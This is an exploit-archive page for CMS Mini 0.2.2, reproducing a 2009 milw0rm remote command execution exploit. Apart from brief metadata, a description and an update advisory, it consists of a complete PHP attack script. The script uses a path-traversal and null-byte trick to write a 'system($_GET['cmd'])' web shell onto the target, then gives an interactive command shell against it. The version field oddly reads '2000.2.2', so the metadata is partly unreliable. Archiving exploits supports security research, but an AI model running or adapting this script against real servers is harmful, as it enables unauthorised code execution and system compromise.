CMS Mini - exploit.company

vendor:

CMS Mini

by:

darkjoker

9.3

CVSS

HIGH

Remote Command Execution

CWE

Product Name: CMS Mini

Affected Version From: 2000.2.2

Affected Version To: 2000.2.2

Patch Exists: YES

Related CWE: N/A

CPE: a:cmsmini:cmsmini

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

CMS Mini <= 0.2.2 Remote Command Execution Exploit

This exploit allows an attacker to execute arbitrary commands on a vulnerable system. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'message' parameter of the 'index.php' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP POST request to the vulnerable script. Successful exploitation of this vulnerability can result in arbitrary code execution on the vulnerable system.

Mitigation:

The vendor has released an update to address this vulnerability. Users are advised to update to the latest version of CMS Mini.

Source

Exploit-DB raw data:

--+++================================================================+++--
--+++====== CMS Mini <= 0.2.2 Remote Command Execution Exploit ======+++--
--+++================================================================+++--

<?php

function usage ()
{
	exit (
		"\nCMS Mini <= 0.2.2 Remote Command Execution Exploit".
		"\n[+] Author  : darkjoker".
		"\n[+] Site    : http://darkjoker.net23.net".
		"\n[+] Download: http://ovh.dl.sourceforge.net/sourceforge/cmsmini/cmsmini-0.2.2.tar.gz".
		"\n[+] Usage   : php xpl.php <hostname> <path>".
		"\n[+] Ex.     : php xpl.php localhost /CMSmini".
		"\n\n");
}

if ($argc != 3)
	usage;
$hostname = $argv [1];
$path = $argv [2];
$fp = fsockopen ($hostname, 80);
$post = "message=<? system (\$_GET ['cmd']); die ();?>";
$request = "POST {$path}/view/index.php?op=guestbook&path=..&p=file.php%00 HTTP/1.1\r\n".
	   "Host: $hostname\r\n".
	   "Connection: Close\r\n".
	   "Content-Type: application/x-www-form-urlencoded\r\n".
	   "Content-Length: " . strlen ($post) . "\r\n\r\n".
	   $post;
fputs ($fp, $request);
fclose ($fp);
$stdin = fopen("php://stdin", "r");
while (1)
{
	echo "$ ";
	$cmd = str_replace (" ", "%20", trim (fgets ($stdin, 1024)));
	if ($cmd == "exit")
	{
		file_get_contents ("http://{$hostname}{$path}/file.php?cmd=rm%20file.php");
		break;
	}
	echo file_get_contents ("http://{$hostname}{$path}/file.php?cmd={$cmd}");
	
}
fclose ($stdin);
?>

# milw0rm.com [2009-02-02]